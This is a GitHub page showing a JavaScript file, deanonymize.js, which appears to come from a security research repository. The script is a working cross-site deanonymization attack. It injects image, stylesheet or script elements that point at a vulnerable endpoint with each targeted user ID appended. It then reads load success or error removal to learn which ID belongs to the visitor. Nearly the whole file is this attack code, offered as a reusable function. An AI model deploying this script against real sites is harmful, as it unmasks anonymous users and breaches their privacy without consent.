-
Notifications
You must be signed in to change notification settings - Fork 275
/
Copy pathdeanonymize.js
91 lines (91 loc) · 3.17 KB
/
deanonymize.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
/**
* Deanonymize a predefined group of users, given sufficient arguments.
* @param attackMethod {string}, the method of the attack (either 'redirection' or 'statusCode').
* @param endpoint {string}, the vulnerable endpoint with the user ID parameter last.
* @param idList {array}, a list of the targeted users' IDs.
* @param callback {function}, a callback function to pass all results to.
* @return {array}, an ordered output array with boolean values.
*/
function deanonymize(attackMethod, endpoint, idList, callback) {
var elNodes, testFn;
var output = [];
// Register a new cross-browser event listener.
var addListener = (function () {
return (window.addEventListener) ? window.addEventListener :
// For IE8 and earlier versions support.
function (evName, callback) {
this.attachEvent('on' + evName, callback);
};
}());
/**
* Create new DOM elements.
* @param tagName {string}, elements' tag name.
* @return {array}, an array of DOM nodes.
*/
var createElements = function (tagName) {
var i, l, el;
var elNodes = [];
for (i = 0, l = idList.length; i < l; i++) {
el = document.createElement(tagName);
if (tagName !== 'link') {
el.src = endpoint + idList[i];
} else {
el.href = endpoint + idList[i];
el.rel = 'stylesheet';
}
if (tagName !== 'img') {
el.onerror = function () {
this.parentElement.removeChild(this);
};
}
elNodes.push(el);
document.documentElement.appendChild(el);
}
return elNodes;
};
/**
* Conduct tests in regard to a given function.
* @param testFn {function}, a test function.
* @return void.
*/
var assess = function (testFn) {
var i, l;
for (i = 0, l = elNodes.length; i < l; i++) {
if (testFn(elNodes[i])) {
output.push(true);
} else {
output.push(false);
}
}
callback(output);
};
if (attackMethod === 'redirection') {
elNodes = createElements('img');
/**
* Test if an image node was loaded or not.
* @param imageNode {object}, a DOM image node.
* @return {boolean}.
*/
testFn = function (imgNode) {
if (imgNode.naturalHeight !== 0 && imgNode.naturalWidth !== 0) {
return true;
}
return false;
};
} else if (attackMethod === 'statusCode') {
elNodes = (/chrome/i.test(navigator.userAgent)) ? createElements('link') :
createElements('script');
/**
* Test if a given element is a child of `documentElement` or not.
* @param el {object}, a DOM element.
* @return {boolean}.
*/
testFn = function (el) {
if (el.parentNode !== document.documentElement) {
return true;
}
return false;
};
}
addListener.call(window, 'load', function () { assess(testFn); });
}